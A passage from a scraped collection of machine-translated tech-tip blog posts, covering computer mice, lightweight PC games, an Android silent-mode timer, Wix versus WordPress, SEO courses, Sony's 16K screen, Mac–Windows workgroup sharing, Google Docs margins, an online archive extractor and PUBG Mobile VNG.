Microsoft Surface Precision Mouse that appeared late last year is very attractive, but sometimes you need a cheap, reliable mouse that can be thrown into a laptop bag without caring about it, you should consider the Bluetooth Mobile Mouse 3600. is one of the best wireless mice at a cheap price.\n10. Razer DeathAdder Chroma (over 1 million VND) DPI: 10000 Interface : USB Button : 5 Ergonomics : Right-handed Features : Light effect Advantages:\nComfortable to use Correct operation Defect:\nMany backlight color options Software is not stable   Razer products are not for everyone. It attracts users who like Apple's design. DeathAdder Chroma is a mouse that comes with 16.8 million LED backlight color options along with 10,000 super accurate DPI sensors.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZpqVqMFur86mp66slad6rrvUrJxmamBmhg%3D%3D\n","link":"/post/top-10-best-computer-mouse-2019/","section":"post","tags":null,"title":"Top 10 best computer mouse 2019"},{"body":"Are you looking for an offline role-playing game genre to entertain after school, hard work? Want to experience yourself in the thrilling situations of the game. Come to Top 10 Lightweight and Best Role-playing Game for PC that TipsMake.com has summarized below.\n10. Counter Strike Source   Counter Strike Source is a first-person shooter game offline that is familiar to many of us gamers. After the success of Counter-Strike 1.6, CS has now undergone many versions and the most prominent of which is CS: GO (Counter Strike: Global Offensive) online play and Counter Strike Source play offline. This can be considered a monument of the first-person shooter genre.\nRecommended configuration:\nCPU: Pentium 4 processor (3.0GHz, or higher) RAM: 1GB OS: Windows® 7 (32/64-bit) / Vista / XP. STORAGE: 3 GB DirectX: DirectX® 9 level Graphics Card. 9. Grand Theft Auto Vice City   GTA Vice City - another legendary game for many gamers and probably does not need much introduction. In the game you will play the crime guy Tommy, perform tasks in turn. In addition, you can also ask for codes, cheats to make 'street hegemony'\nRecommended configuration:\nCPU: Intel Pentium IV or AMD Athlon XP processor RAM: 256MB OS: Microsoft® Windows® 2000 / XP VIDEO CARD: 64MB video card with DirectX 9.0. STORAGE: 1.55 GB DirectX: Microsoft DirectX® 9.0. 8. Valiant Hearts: The Great War   Valiant Hearts: The Great War is a game adapted from a historical event of the world that is World War 1. In the game the player will follow the four main characters Emile, Karl, Freddie and Anna throughout. 4 year period. What surprised the writer about Valiant Hearts: The Great War are not the numbers of the consequences of the war, but the horrors of war depicted in a perfectly animated style. Not to emphasize the 'grandeur' of war as in its title, but on the contrary, desolation and dreary are the things that players will encounter throughout the game.\nRecommended configuration:\nOS: Windows XP SP3 or Windows Vista SP2 or Windows 7 SP1 or Windows 8 (both 32 / 64bit versions) Processor: Intel Core 2 Duo E4400 @ 2.0 GHz or AMD Athlon64 X2 3800+ @ 2 GHz Memory: 2 GB RAM Graphics: NVidia GeForce 9600GT or higher, AMD Radeon HD3850 or higher (512MB VRAM with Shader Model 4.0) DirectX: Version 9.0 STORAGE: 2 GB 7. Child of Light   Child Of Light belongs to the category of mythical adventure games with fairy tales and cartoons. In the game you will play the princess Aurora in a fantasy land called Lemuria. She died after suffering from a mysterious disease. You will play the princess to complete the missions to bring the sun, moon and stars to be occupied by the queen of darkness. After completing all the quests, you will be back home. Not a high-graphics game but Child Of Light still attracts many players because of its attractive storyline and simple gameplay.\nRecommended configuration :\nCPU: Intel Core2Quad Q8400 @ 2.6 GHz or AMD Athlon II X4 620 @ 2.6 GHz or higher. RAM: 4 GB OS: Windows Vista, Windows 7 SP1, Windows 8 / 8.1 (32 / 64bit versions) VIDEO CARD: nVidia GeForce GTX260 or AMD Radeon HD4870. DEDICATED VIDEO RAM: 512MB VRAM with Shader Model 4.0 or higher STORAGE: 3 GB DirectX: Version 9.0 6. Assassin's Creed Brotherhood   Brotherhood is the lightest version of the Assassin's Creed game, but it doesn't diminish the appeal of the game. Just like the other versions, in the Brotherhood version, you will also have Parkour phase, running, moving, hiding, close combat and finishing opponents in a snap. The mechanism of calling assassin for assistance also made me feel more 'power' and 'hegemony'. The setting in this version is encapsulated mainly in Rome.\nRecommended configuration:\nProcessor: Intel Core 2 Duo E6700 2.6GHZ or AMD Athlon 64 X2 6000+ RAM: 1.5GB OS: Windows XP / 2GB Windows Vista and Windows 7 Graphics: GeForce 8800 GT or ATI Radeon HD 4700 or better Hard-drive: 8GB 5. Final Fantasy VIII   Final Fantasy VIII is set in a battle between allied nations that invade and fight together. The game begins in Balamb Garden - a military academy that trains students to become SeeDs - units called mercenaries who support combat and collect important information. . You will play Squall Lepnhart - a cold-hearted but honest and honest person. Will fight Seifer - who gave Squall a scar on his face. You will join Rinoa, Quistis, Irvine, Selphie and Zell to fight the sorceress Edea and save the world. Along with that is the touching love between Squall and Rinoa.\nRecommended configuration:\nOS: Microsoft Windows Vista / 7/8 (32/64-bit) Processor: Intel® Core ™ 2 Duo CPU 3GHz or faster Memory: 4 GB RAM Graphics: NVIDIA GeForce 9600 GT or faster DirectX: Version 9.0c Storage: 4 GB available space Sound Card: Integrated sound chip or more 4. Layers Of Fear   Layers Of Fearis the game of Developer Bloober Team - a firm has a reputation in the field of horror games. The game is for those who love the beauty and curiosity of paintings when discovering the mysterious mysteries behind each picture. You will play the role of a painter who is trying to perfect a masterpiece for life but has serious psychological problems. In the game you do not need to fight a dark force nor do you need to jump and glue to escape. You need to observe, learn and use your mind to find the clues to unlock terrible mysteries inside the monstrous house. The space of the house always changes when you open a door or even a mouse click. You will not know what is behind you. No gore, no corpses,There are no cheap jump-scare scams, but instead is a fictional world, paintings with weird lines will make you feel scared, your senses are pushed to the limit. extreme obsession, fear to the extreme makes you just want to be freed from the house at any time.\nMinimum configuration:\nOS: Windows 7 Processor: Intel Core2 Quad Q8400 Memory: 4 GB RAM Graphics: NVIDIA GeForce GTX 560 1GB / Radeon R7 250X 1GB DirectX: Version 11 Storage: 5 GB available space 3. Tekken7   Tekken is one of the first fighting games pioneered with 3D graphics style, an interesting and semi-friendly character with more than 38 characters can be selected along with introducing an additional class of characters. The other guest is Akuma from Street Fighters, the Tekken 7 fighting game that allows you to compete with many different opponents.Also nearly a quarter of the game's characters are completely new. Very impressive right. Tekken 7 places great emphasis on controlling the character's limbs with each button corresponding to the hand or foot. Punching left, punching right, kicking left, kicking right are defined by 4 different buttons so that the special or continuous moves of the characters are also implemented through the combination of control keys. control these limbs.In addition to these new mechanisms, Tekken 7 retains the traditional style of the game, focusing on real-life countervailing, placing heavy emphasis on ground combat with various beautiful left and right mix ups. Tekken 7 has a fun, fast, but easy to grasp game if the player takes the time to learn and hit the button .\n2. Naruto Shippuden: Ultimate Ninja Storm 4 - Road to Boruto   Another fighting game is on this list, but Naruto Shippuden: Ultimate Ninja Storm 4 - Road to Boruto is a game for gamers who love Japanese anime movies. The plot of the game goes far beyond the original manga so you can live in the events that occur after the end of the Naruto Shippuden series, and take control of completely new characters. This is the next generation of ninja warriors, many of which are the children of old heroes like Boruto (Son of Naruto) or Sarada (Daughter of Sasuke and Sakura).\n1. Mafia II Although this game has a newer version, Mafia III, but to match the title of the article, I will introduce to you that the second part of the game is Mafia II.\n  In the game you will play the character Vito Scaletta - a veteran of World War II after returning to normal life, he was caught in the whirlpool of money and crime. All that work was to pay off the huge debt his late father left behind. Vito joined Joe Babarro - a childhood friend of his - to join the gangster forces of the United States and turn him from an honest man into a slender murderer. Czech developer 2K painted a very vivid and detailed New York scene in 1940. Every action of the residents is faithfully reproduced, the details of the house, the great works are described in quite detail that makes gamers feel like they are living in the past. The content of Mafia 2 is considered by many to be quite profound and dramatic.Please join the game to understand this game better.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZpqVqMFuuMign62vlZ60qcCMqJ2fpJmjsm6zwKacZp6fp3qxrw%3D%3D\n","link":"/post/top-10-best-lightweight-offline-game-for-pc/","section":"post","tags":null,"title":"Top 10 best lightweight Offline Game for PC"},{"body":"Usually, during class, working or attending a meeting we will leave the phone in silent mode and then have to re-activate the bell when we get home. In fact, this operation does not take too much of your time, but in some cases like you leave the phone somewhere, it will be difficult to find because you have not simply reset the ringing mode to seek thanks to the cry.\nTherefore, the Android phone timer in silent mode to the end of the working time, your phone will ring as usual is very necessary, with this trick you will not need to manually adjust as before half.\nAutomatic timer to turn on Wifi after 1 hour, 4 hours or 1 day on Windows 10 How to automatically open a website at a specific time How to turn on / off the music playback automatically when plugging in a headset Guide to Android phone timer in silent mode Step 1:\nTo schedule Android phones in silent mode, you need help from a 3rd party application called Shush! Ringer Restorer . This is a tool that will help you automatically switch to the ringer mode after a certain amount of time, click the link below to download and install Shush! Ringer Restorer for Android device.\nDownload Shush! Ringer Restorer for Android Step 2:\nComplete the above step, start up the application and choose to turn on the notification or turn off arbitrary notifications by clicking on the icon as shown in the picture.\n  Step 3:\nWhen you set silent mode for your phone, Shush app! Ringer Restorer will automatically turn on and ask you how long it will take to automatically reopen the bell. Click on the + and sign - to adjust the number of hours you want, maybe 30 minutes, 2 hours or all day depending on your use.\n   Step 4:\nNext, click the sound column icon in the lower corner and adjust the volume level when you return to ring, then press the Shush button ! . At the end of the silent period, your phone will automatically return to the big ring mode you just installed and if you leave the phone somewhere, it will be easier to find.\n   That's it, how to use the Shush app! Ringer Restorer to schedule Android phones in silent mode is simple and easy right. Besides, how to send messages, email, post Facebook, Twitter for Android phones is also an interesting automatic timer procedure that you should consult, please install the timer right away for your smartphone to automatically Please help me.\nHope you are succesful.\nSee more:\nAdd ringtones to Android phones How to create ringtones from Zing MP3 Android How to create ringtones on Android as you like with Ringtone Maker ncG1vNJzZmismaXArq3KnmWcp51kxKLFjK2mZpmemb%2BwtcNmp6Gnnpp6qrqMrKClnZ6peq67w55kn6eiYq5ur8Srq5qhnmK9pr7IqJtmp5Ziwaq5xA%3D%3D\n","link":"/post/way-to-android-phone-in-silent-mode-for-a-certain-period-of-time/","section":"post","tags":null,"title":"Way to Android phone in silent mode for a certain period of time"},{"body":"Are you trying to decide between 2 Wix platforms and WordPress to build your website? Although WordPress is the most popular website builder in the world, this is not the only option. Wix is ​​another popular web builder that allows you to easily create a website. This article will compare Wix with WordPress and highlight the pros and cons of each platform. Hopefully after reviewing and comparing Wix with WordPress, you will be able to decide which platform is right for you.\nNote: This article compares Wix with WordPress.org, NOT WordPress.com. See the difference between WordPress.org and WordPress.com: WordPress.com and WordPress.org - Which one is better?\n2 Wix and WordPress platforms will be compared based on 5 criteria:\nWix and Wordpress - Which one is better? 1. Price and cost 2. Ease of use 3. Design and layout 4. Plugin and application 5. E-commerce features Let's find out later.\n  1. Price and cost Site construction costs are an important factor when choosing a platform. The total cost of developing and maintaining the website will depend entirely on your needs. The goal is to ensure that you can do whatever you need with the budget you have.\nCompare prices of Wix and WordPress to find out which one will bring you more benefits.\nWix:\nWix provides a free basic website builder. However, there are two main drawbacks. First, it adds Wix branded ads at the top and bottom of the website. Second, you cannot use a custom domain name for your site, so your website address will be: username.wix.com/sitename\nIn addition, the basic package does not provide the necessary additional utilities such as Google Analytics, Favicons, eCommerce, etc. To delete ads and receive additional features, you will have to upgrade to one of the high packages. level that Wix provides.\nEach premium package of Wix has different storage and bandwidth limits. You can pay by month or choose the annual package.\n  The best package on Wix is ​​now Unlimited package (price $ 12.5 / month) and if you want an e-commerce store, then you need to package eCommerce (price $ 16.5 / month).\nThis cost does not include any applications that you choose to use later on your site.\nWordPress:\nWordPress software is available for free for anyone to use. The reason why WordPress is free and what users get when using WordPress, please refer to the article: Why is WordPress free?\nYou need your own domain name and web hosting to install WordPress website. There are several WordPress hosting providers that you can choose from. See the article: 14 Best Web Hosting 2018 completely free and contains no ads for more details.\nDepending on your budget, you can start with the basic package and WordPress hosting provider like Bluehost.com. You will lose $ 2.75 per month and have a free custom domain name. If your budget allows, then you can use a managed WordPress hosting provider like WPEngine.com for $ 29 per month.\nThe cost of a WordPress site will increase if you decide to use premium WordPress themes or plugins. However, there are thousands of free WordPress themes and plugins available, which you can use to reduce costs. You can add any features to your WordPress site, using the plugin without upgrading your hosting package.\nFor more information, see the tutorial on how to build a WordPress website: How much does it cost to build a WordPress website?\nConclude:\nWordPress beat Wix with flexible packages available from many different web hosting companies. The cost depends on the amount of resources you use and you are free to use your WordPress website in any way you want.\n2. Ease of use Most beginners don't want to spend too much time learning new skills. Both Wix and WordPress allow you to create web pages without learning about code.\nWix:\nWix comes with powerful and easy-to-use tools to build your own website. It provides a simple drag-and-drop interface, where you can select any element on your site and start editing it in the WYSIWYG interface.\n  You can drag and drop items anywhere on your website, rearrange everything on the page, write content and add media to a user-friendly environment. Many beginners will find this feature a great plus because it helps them solve code problems.\nWordPress:\nWordPress comes with an intuitive editor for writing content and customizing themes, allowing you to edit theme properties in a WYSIWYG environment. However, by default, WordPress does not come with a built-in drag and drop page builder.\n  In order to have full control of the appearance, users will have to be familiar with different sections such as navigation menu, customizer, visual post editor, etc. This means WordPress requires people Beginners have to spend time learning and learning.\nOn the other hand, there are thousands of themes that make customization really easy.\nConclude:\nWix is ​​clearly the winner here. Users do not need to spend a lot of time to learn about this platform, or install any plugins before they can start building websites. On the other hand, users will need to understand the basics of WordPress and may need to install plugins to build their website.\nHowever, you can use powerful WordPress page builders like BeaverBuilder (wpbeaverbuilder.com) or Divi (elegantthemes.com). They provide more power than the standalone Wix builder.\n3. Design and layout Your website design and layout play an important role in the success of the website. Every website owner needs a design that is not only beautiful, but also user-friendly, as well as highlighting their brand.\nWix:\nWix comes with over 500 pre-created templates for you to choose from. All Wix designs are fully responsive and written in HTML5. Using the built-in tools, you can further customize your website design, change the layout and reorder items accordingly.\n  There are designs available for all types of websites. Templates are divided into categories such as business, ecommerce, hobbies, arts \u0026amp; crafts, personal , etc.\nA big disadvantage is that once you have chosen a template, you cannot change it. You can modify it and customize it the way you want, just by using built-in tools, but you can't switch to another template.\nWordPress:\nThere are thousands of free and paid themes available for WordPress. The free themes come with limited support, but they also undergo a rigorous review process. Premium themes often offer more features and come with advanced support options.\n  WordPress themes range from small personal websites to official e-commerce sites. Most themes have their own custom built-in options. You can also customize them further by using child themes and plugins.\nUsers can download free themes from the WordPess.org folder. For premium themes, there are a number of options such as Themify.me, CSSIgniter.com, StudioPress (my.studiopress.com), etc.\nMoreover, you can hire a developer or learn how to create a completely customizable theme for yourself.\nConclude:\nWordPress has more themes and design layouts than Wix. WordPress users can also easily switch themes or customize them the way they want without any restrictions.\n4. Plugin and application Plugins and applications are third-party extensions that you can use with your platform, to add more features. Wix calls them applications and in WordPress ecosystems, they are called plugins.\nCompare the applications and plugins available on both platforms and what you can do with them.\nWix:\nWix comes with nearly 200 applications that you can add to your site. These applications provide many features such as adding contact forms, libraries, comments, email lists, etc.\n  Most apps are free or have a lite version. Other applications require monthly payments and many different prices. Although there is a limited collection of applications, they include most of the features that are required by site owners.\nWordPress:\nAt the time of writing this article, there are more than 55,000+ free plugins available in the WordPress.org plugin directory . Not to mention, other premium plugins are available in the market.\n  People are still joking, just if you think of something, the WordPress plugin will make it a reality.\nWhether you want to create contact forms, install Google Analytics, build member websites or sell online courses, WordPress has plugins for that.\nYou can do anything you like with WordPress. There are many free and paid plugins that you can use on the site immediately.\nConclude:\nWordPress also easily defeated Wix in this area. Although the Wix application library is growing, it is still limited compared to the huge selection range for WordPress users.\n5. E-commerce features Selling everything online is an important feature that most beginners look for. See the comparison of WordPress and Wix for the following e-commerce features.\nWix:\nWix provides e-commerce features through paid packages. This means that users with free packages cannot run their e-commerce store on Wix without upgrading to a paid plan. With WixStores, you can only accept payments by PayPal or Authorize.net.\nThere are a few third-party apps that you can use to sell online, but those apps will cost you more because of your monthly costs. Not to mention you have payment gateway and limited functionality.\nWordPress:\nWordPress makes it super easy to create your online store using WooCommerce.com, the foundation of more than 42% of ecommerce websites worldwide. There are also many other e-commerce plugins available for WordPress that you can use to sell goods, services, events, subscriptions, and more.\nMost e-commerce plugins for WordPress even have their own dedicated themes and there are many themes specially designed to work with those plugins.\nConclude:\nIf you want to build an appropriate online store and are ready for future development, WordPress offers more flexibility, freedom and choice when compared to Wix.\nWordPress is superior to Wix, as a platform for creating any kind of website. While Wix provides an easy-to-use website builder, you can do more with WordPress for a long time. You can see instructions on how to create a website using WordPress for more details.\nHope this article has helped you compare Wix with WordPress and find out the pros and cons of each platform. Wish you can choose the right platform for your website!\nSee more:\nHow to import images from external sources into WordPress 3 great WordPress themes for portfolio construction How to add new posts on WordPress ncG1vNJzZmismaXArq3KnmWcp51kxKrEjJqlnWWnpL%2BlvNGeqqxlp522pLSMqKWeZZmoeqOx062cqw%3D%3D\n","link":"/post/wix-and-wordpress-which-one-is-better/","section":"post","tags":null,"title":"Wix and Wordpress - Which one is better?"},{"body":"The majority of courses are more suitable for SEO beginners, but some options go deeper and cover advanced SEO topics.\n1. Free SEO training: SEO for beginners (Yoast) Free SEO training: SEO for beginners (Yoast) Reference links here:\nThis is an SEO course for beginners. It is more suitable for students who have not had any prior knowledge of SEO. The course begins by explaining the fundamentals of SEO, including how search engines work.\nThe course is divided into three main parts: Introduction to SEO, Content SEO and Technical SEO.\n2. SEO Training Course by Moz (Udemy) SEO Training Course by Moz (Udemy) Reference links here:\nThis is one of the most popular SEO courses on Udemy. So far, more than 200,000 students have enrolled and the course has an overall rating of 4.3 / 5 stars.\nThe Moz group created the course and it was presented by Rand Fiskin (one of the founders of MOZ). The course is video format and lasts for 3.5 hours.\nWhile this is a good course covering all aspects of SEO, it hasn't been updated since its first release and this is a problem. Most of the information is still valid, but some videos are not completely accurate and outdated.\n3. Free SEO Course (ClickMinded) Free SEO Course (ClickMinded) Reference links here:\nTommy Griffith, an SEO expert, is the instructor of this course. Before starting Clickminded, Tommy managed SEO for companies like Paypal and Airbnb.\nIn this course, Tommy explains the SEO framework used at Paypal and Airbnb, then gives general advice on how to approach the entire SEO process.\n4. SEO Training Course: Building Sustainable Traffic for Business Growth (Hubspot) SEO Training Course: Building Sustainable Traffic for Business Growth (Hubspot) Reference links here:\nThis is a free HubSpot SEO course that is worth a look. The course consists of 4 lessons, covering the following topics:\nDevelop SEO strategy Expand link building campaigns How to do SEO at HubSpot blog How to create and implement a guest blogging campaign This is not a beginner course. To understand the various concepts explained in videos, you need a basic understanding of SEO.\n5. On-Page and Technical SEO Course (SEMRUSH) On-Page and Technical SEO Course (SEMRUSH) Reference links here:\nSEO On-Page and Technical SEO are two SEO processes you can control 100%. Unlike Off-Page SEO, which requires website advertising methods, On-Page SEO and Technical SEO are things you can improve by following some simple SEO rules.\nThis SEO course consists of 2 parts on the following topics:\nSEO Audit website Troubleshooting HTTPS issues Identify and troubleshoot data collection issues Perform log file analysis Tips on how to create SEO-friendly content Tips on how to improve SEO On-Page ncG1vNJzZmismaXArq3KnmWcp51kgm6uxKyrZp6imrJuv8SoZJynpafApr%2BMmq2aoZyWr62xjKilpaGemg%3D%3D\n","link":"/post/5-best-free-seo-courses-available-online/","section":"post","tags":null,"title":"5 best free SEO courses available online"},{"body":"The concept of 8K newly appeared not long ago, Sony has surprised the tech world to launch super screen with up to 16K resolution at the trade show and annual conference NAB Show 2019. Super giant screen 16K Sony has a resolution of 15,360 x 8,640 pixels, a pixel density 16 times higher than a 4K TV screen and 64 times that of a Full HD TV screen.\nWith such a super-resolution, the image displayed on this screen obviously has unprecedented level of detail.\nSony's 16K screen has a length of 19.2m, height of 5.4m, bigger than a bus.\n  Sony's new 16K screen is bigger than a bus.Photo: TechSpot.\nThis 16K screen is created by Sony from many small screen modules that have a border overflow design. These display modules are called Crystal LED by Sony and all use MicroLED technology.\nMicroLED is a new screen technology that uses one layer with millions of individual LEDs to create images, enabling the creation of high brightness, vibrant colors and deep black colors.\nEarlier, at Haneda Airport, Tokyo, Japan, Sony had also designed a 16K super screen in 2014, but the technology was still limited, so the small screen modules did not allow for a seamless visual experience.\n  Sony's 16K screen in 2014.\nncG1vNJzZmismaXArq3KnmWcp51khax5x5qqZqafqXqku9WeqZ6cXai8r8WMoZisZZyWwq%2Bvx56bZpldZoOsv8iznJ1lkqrAbr%2FCq5yepg%3D%3D\n","link":"/post/8k-has-not-covered-sony-has-launched-a-16k-sized-bus-screen/","section":"post","tags":null,"title":"8K has not 'covered' Sony has launched a 16K-sized bus screen"},{"body":"Network administrators often have to combine workstations between Windows, Apple and Linux machines. Whether you like it or not, Mac computers can become part of a network. Fortunately, improvements in Apple's OS X operating system simplify connecting Windows XP and Mac to the same network. Windows administrators can follow the steps in this article to add Macs to Windows workgroups. Configuration from PC side After making sure that Windows and Macintosh computers are connected on an Ethernet network via a switch or wireless connection, take the following steps to configure the workgroup Windows side (Figure A): 1. Click Start 2. Right-click My Computer and select Properties 3. Select the Computer Name tab 4. Remember or write down the name of the Workgroup that you want to add the Mac to.\n  Figure A: Notice the name of the workgroup you want to add the Mac to\nNext, determine that the Windows workgroup is sharing the appropriate files through the network:\n1. Click Start 2. Double-click My Computer 3. Determine the appropriate folders being shared (with the hand icon below the folder icon (Figure B)) After you have correctly identified the Windows files to share, or if you only need to share a printer in the network, check and make sure the printer or printers have been shared by: 1. Click Start 2. Click Printers and Faxes 3. Determine if the printer has been shared (with the hand icon below the printer)\n  Figure B: The hand icon indicates that the component is being shared\nBefore connecting Macintosh computers to the workgroup, you need to review the user / group and permissions associated with the shared source (to ensure you can properly configure the Macintosh to connect to it). For each object being shared, do the following:\n1. Right-click the source being shared and select Properties from the menu that appears 2. Click on the Security tab (Figure C). 3. Note the group or user name that has access to the shared source 4. Pay attention to each specific permission for the group or user 5. Correct the same permissions for groups and users with the provided Add and Remove buttons 6. Click OK (if you have made changes)\n  Figure C: Use the Permissions tab to configure permissions for each user and group\nIf you do not see the permissions listed for each user, your Windows XP system may be enabled with Simple File Sharing sharing mode. To turn off this mode and allow more specific controls for shared files and printers, do the following: 1. Click Start 2. Select My Computer 3. Click Tools 4. Click Folder Options 5. Select the View tab 6. In the list of Advanced settings settings , scroll down to the bottom and uncheck the Use simple file sharing (Recommended) box. 7. Click OK Configure the Mac Now switch to Macintosh configuration. To connect a Macintosh to a Windows workgroup: 1. Click the Dock's Finder icon 2. Click Network in the Finder's left sidebar (Figure D). 3. Click on Workgroup . 4. Select the shared source storage system you want to connect to. 5. Click the Connect button 6. In the SMB window that appears, enter the workgroup name and username / password in the Windows machine permissions section to access the shared source, then click OK (Figure E). 7. Select the data source you want to connect to and click OK (Figure F) 8. Shared sources in Windows will appear in the Finder section; Just drag and drop icons from Finder to Desktop of Macintosh and start using them (Figure G)\n  Figure D: Use the Finder on the Mac to get started\n  Figure E: You will have to enter the Workgroup name and the username / password value of the machine connected to\n  Figure F: Specify the data source to connect to in the Windows network\n  Figure G: Windows shared source will appear in Finder when Macintosh Successfully connect to Windows system\nOften workgroup names don't need to match correctly. Many Windows XP systems put workgroup on their computers as MSHOME while others are Workgroup . Macintosh uses the default Workgroup name. However, if you want to change the default workgroup name of the Mac, follow these steps: 1. Click the Dock's Finder icon 2. Click Applications 3. Drag to the Utilities folder and select it 4. Double-click Directory Access (Figure H) 5. Allow changes by clicking on the lock icon. 6. Provide the Administrator account's username and password 7. Double click SMB / CIFS 8. Enter the group name you want to use in the window that appears and select it from the drop-down menu. 9. Click Apply 10. Close Directory Access .\n  Figure H: Use the Mac's Directory Access utility to turn on Windows Sharing\nShared sources \n To share documents on a Mac with a Windows system, perform the following steps: 1. Click on the System Preferences icon of the Dock 2. Click Sharing in the Internet \u0026amp; Network section 3. Make sure the Windows Sharing box is selected 4. Click the Accounts button 5. Click to select the cells to determine which Macintosh accounts allow you to use Windows Sharing 6. Make sure Windows Sharing is turned on, if you do not click the Start button Next, go to the Windows system that needs to access the Macintosh source and: 1. Click Start 2. Click My Network Places 3. Click on View Workgroup Computers from the Network Tasks window; Macintosh systems may appear in this window. 4. If the Macintosh system is not in the My Network Places window, do it the B way; Click on an additional network in the Task Pane . 5. The Add Network Place Wizard window will appear, click Next 6. Select Choose another network location and click Next 7. In the Internet or network address box , specify the IP address of the Macintosh system (you can find it by clicking on the System Preferences icon of the Dock on your Mac, select Network and select Built-in Ethernet. from the Show menu drop down), followed by the username of the Mac, and then click Next . Note that this step must be absolutely accurate; The network address entered must be in 10.0.0.1admin format if the Mac address is 10.0.0.1 and the username on the Mac is admin (Figure I) 8. Specify the name for the created network and click Next 9. Click Finish 10. Shared sources on Macintosh will appear in Windows.\n  Figure I: After configuration is complete, the shared source on the Macintosh will appear in a Windows window\nFinally, to print from a Macintosh via the printer in the Windows system:\n1. Click the System Preferences icon on the Dock 2. Click the Print \u0026amp; Fax icon in the Hardware section 3. Click the lock (if it is closed) to allow changes (you must enter the administrator account username / password to complete this operation) 4. Click the Plus icon to add a printer 5. Click the More Priners button 6. Make sure Windows Printing is selected from the first drop-down menu 7. Make sure the Network Neighborhood is selected from the second drop-down menu 8. Select the workgroup that contains the printer that you will use to print, and then click Choose 9. Select the Windows workstation that has the printer installed and plugged in, then click Choose 10. Enter the username / password with the Windows permissions and click OK 11. Select the printer from the Printer Browser menu 12. Determine the type of printer by the drop-down menu (or select Generic list) 13. Click the Add button.\nncG1vNJzZmismaXArq3KnmWcp51krqWwjKaYnGWkpHq1tMRmrqiqm5y%2FsMHPZq6ippSkxLR5zZ6rsKeioA%3D%3D\n","link":"/post/add-mac-to-the-workgroup-windows-network/","section":"post","tags":null,"title":"Add Mac to the Workgroup Windows network"},{"body":"Google Docs is Google's online application that features much faster text editing, editing, managing and sharing documents, making it convenient for users. In addition, major technology firm Google has upgraded Google Docs when combining voice-based text editing on Google Docs, saving time and manipulation for users when they don't need to type and type characters. Error correction when typing text.\nUseful shortcuts for Google Docs Shortcut list for Google Docs on your computer (Part 1) Some basic features of Google Docs The usage of Google Docs is relatively simple, including text alignment. Compared to aligning margins in Microsoft Word, when creating margins on Google Docs is much simpler and easier. Even if the alignment feature on the paper size is not supported yet, the alignment will make text much more professional.\nStep 1: Open any file on Google Docs that you saved.\nStep 2: Bar area The top menu of the text is the numerical markings used to align the margins for the article.\n  You drag these bars to the left, right or narrow to align the layout for the article. Depending on the short size of the article, you can adjust it to fit the text.\n  Pull the ruler to the sides, the text will be narrower\nStep 3: To align each line in the text, we click the left mouse button on the space bar and appear the following 3 options:\nAdd a persistent stop tab (Add left tab-stop): Align the line to the left. Add Add center tab-stop tab: Align the middle line. Add the right stop tab (Add right tab-stop): Align the line on the right.   Thus, you have completed the alignment steps on Google Docs with simple and easy to implement operations. In the alignment process, adjust the alignment ruler to match the content and layout of the text.\nRefer to the following articles: Create and share office documents with friends on Facebook Set up Google Drive as a folder on Windows 3 Ways to open DOC files without Word I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51krq21xqdkppminLavv4yipWafn6S0rbGMnaacqw%3D%3D\n","link":"/post/align-margins-in-google-docs/","section":"post","tags":null,"title":"Align margins in Google Docs"},{"body":"Archive Extractor is a free online file decompression tool. With an easy-to-use interface, compression file protection is protected by passwords and the ability to extract more than 70 different formats such as z, Zipx, rar, tar, exe, dmg . Archive Extractor is the choice Great for users who want to extract online without installing software.\nIn addition, Archive Extractor also supports extracting by uploading files from a computer, importing via Google Drive, Dropbox or some other storage link.\nSupported formats:\n  Instructions for using the Archive Extractor online decompression tool\nStep 1: Access the link below and click Select file to upload the file to extract from the computer.\nhttps://extract.me/en/   You can also upload files from storage services like Google Drive, Dropbox or some other URL.\n  Step 2: After extracting the file, you can choose to save the file to your computer as a .ZIP file or as individual components as zip.001, rar.part1, z01 . .\n  See more:\nDownload the compression and decompression tool PowerArchiver 2018, which costs $ 22.95, and is free of copyright for 1 year Unzip Zip, RAR, . files online without software 5 UWP applications compress and decompress compact, free for Windows 10 How to extract Zip files directly on Google Drive ncG1vNJzZmismaXArq3KnmWcp51krrOvx6KtnmWVrcGzrcKtpqtllqeypnnOp6OippVisaavzqanq52jqLawuoytpqikXay2tbSMqK2eql1sfW6wyJ%2BdnqqVo8FussilnGaen6e6osDS\n","link":"/post/archive-extractor-free-online-decompression-tool-with-over-70-different-file-formats/","section":"post","tags":null,"title":"Archive Extractor - Free online decompression tool with over 70 different file formats"},{"body":"PUBG Mobile VNG has been officially updated on the app store of iOS and Android, users can officially download and participate in PUBG Mobile server in Vietnam. But there is one thing that many gamers wonder, which is how these two versions differ and how they work.\nActually, players still participate in PUBG Mobile Vietnam and use normal features, only more specifically that the interface will be Viet Hoa suitable for Vietnamese gamers, in addition there are some points. For comparison, gamers can see below this article of QuanTriMang .\nHow to download and install PUBG Mobile VNG on Tencent Gaming Buddy PUBG Mobile: How to choose the right accessories for each gun How to mark the map position in PUBG Mobile How to enter the practice mode PUBG Mobile Compare PUBG Mobile VNG and PUBG Mobile International Download PUBG Mobile for PC Download PUBG Mobile VNG for iOS Download PUBG Mobile VNG for Android 1. Basic differences in game logos and logos   In all three versions of PUBG Mobile International for computers and phones developed by Tencent, the PUBG Mobile Global version will have Tencent logo as shown above. Besides the Lightspeed \u0026amp; Quantum Studios logo.\n  As for PUBG Mobile VNG version, you can see that Tencent's logo is replaced by VNG's logo, which is to distinguish what version of PUBG Mobile is going to be and choose the server to play.\n2. Line speed and gameplay   The most expected change for gamers is the Vietnamese interface on PUBG Mobile, players can go to Settings to change the language of PUBG Mobile VNG to Vietnamese and have another \"18+\" message . Because VNG's default language for PUBG Mobile Vietnam version is still English, you can view the Vietnamese translation guide on PUBG Mobile VNG via article How to install Vietnamese interface for PUBG Mobile.\n  The second difference is that the speed of the transmission, the former PUBG Mobile server players often encounter lag, high ping in the game and had to take measures to reduce Ping by the third application, but with VNG server, users will be significantly improved on the transmission line.\nIn addition, the achievements, items, skin . all the data of Vietnamese gamers on the international server will be synchronized through the Facebook account login, so gamers will not have to worry about Your data on the international server will not be transferred to Vietnamese servers.\nIn addition, the Vietnamese server will be connected to the international server, so Vietnamese gamers can pair Squad with foreign gamers and not be constrained in the domestic server. In addition, the gameplay, installation system, graphics, tasks and events are the same compared to the PUBG Mobile International version.\n3. Payment system   Regarding the launch of VNG version, users will no longer see PUBG Mobile International version on the two largest application \"markets\". Therefore, players can only download two versions of PUBG Mobile VNG on Google Play and App Store , or 